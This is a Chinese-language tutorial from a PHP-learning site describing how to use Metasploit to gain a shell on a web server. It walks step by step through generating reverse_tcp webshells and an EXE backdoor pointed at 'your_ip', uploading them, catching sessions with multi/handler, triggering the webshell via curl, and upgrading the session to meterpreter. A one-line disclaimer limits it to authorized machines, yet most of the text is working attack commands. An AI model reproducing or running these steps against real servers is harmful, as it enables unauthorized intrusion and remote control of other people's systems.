网站地图    收藏   

主页 > 后端 > 网站安全 >

Metasploit之webshell提权 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 本文所涉及的方法只能在已授权的机器上做测试。 首先建议一下到网上查查meterpreter的用法在看这篇文章,理解为什么要使用msf来提权(因为msf里边有个meterpreter很强大^_^)Metasploit 拥有...

本文所涉及的方法只能在已授权的机器上做测试。
 
    首先建议一下到网上查查meterpreter的用法在看这篇文章,理解为什么要使用msf来提权(因为msf里边有个meterpreter很强大^_^)
Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshell ,通过生成webshell 然后设置监听器,访问webshell的url,幸运的话可以产生一个session,以便进一步利用。
  下面是具体的利用方法。
  我们可以通过指令查看msf里的payload 然后记住其位置:使用如下的指令来产生一个webshell,和前边将的msfpayload的用法类似,只不过这里生成的是一个网页脚本文件:
产生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后将此webshell上传到服务器(这个步骤要有上传权限。)
然后启动msfconsole
输入use exploits/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(这里的payload要和前边的msfpayload所使用的一样。
set LHOST your_ip,
执行exploit, www.2cto.com
然后访问webshell的url,这里使用curl 访问curl http://www.2cto.com /webshell.asp ,如果exploit执行成功的话就可以看到msfconsole中有返回meterpreter shell,如果meterpreter不会用网上查一下,很多。
但是我使用netbox 搭建asp环境老是执行出错,希望读者在实际验证不出错后再使用。
    这里产生的是asp的webshell 也可以产生php webshell,jsp webshell 需要在msfencode时用-t 参数指定脚本类型,我认为php类型的webshell更容易成功。
 
    另外如果获取服务器拥有可以上传并且执行上传文件的权限的话,可以上传一个msfpayload产生的后门,设置监听,然后执行后门,返回一个session然后将session转为meterpreter,这样就可以方便的使用meter各种特性了。给个步骤:(前提在上边以及说明了)
1、msfpayload windows/shell_reverse_tcp LHOST=your_ip R | msfencode -t exe -o test.exe
2、打开msfconsole (另外开一个terminate终端)
3、设置监听(监听这个词好像很高级,别被它吓到):use exploits/multi/handler,set LHOST=your_ip,执行exploit
4、将test.exe 上传到服务器
5、在服务器上执行test.exe 就可以返回一个shell了。
6、将windows shell 转成meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一个shell,可以在监听器看到返回了一个windows shell(windows 命令提示符),而不是一个meterpreter shell,这样就要转换了,方法是 按下Ctrl + z 使windows shell 后台运行,然后sessions 指令查看shell 的session是多少
,然后执行sessions -u number(number为你找到的windows shell session号。这样就产生了一个meterpreter shell,可以利用meterpreter强大的功能。也有可能出错,仔细看出错信息然后复制其一部分google一下。
    可能读者些疑问:既然可以在上传执行exe文件,为什么要用msf呢,直接上传一个强大木马不是更方便么。我想说因为msf 中有个强大的Meterpreter。
    总结,可以发挥想象,挨个试试payloads有的payloads 不能用,也许有意外的发现

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论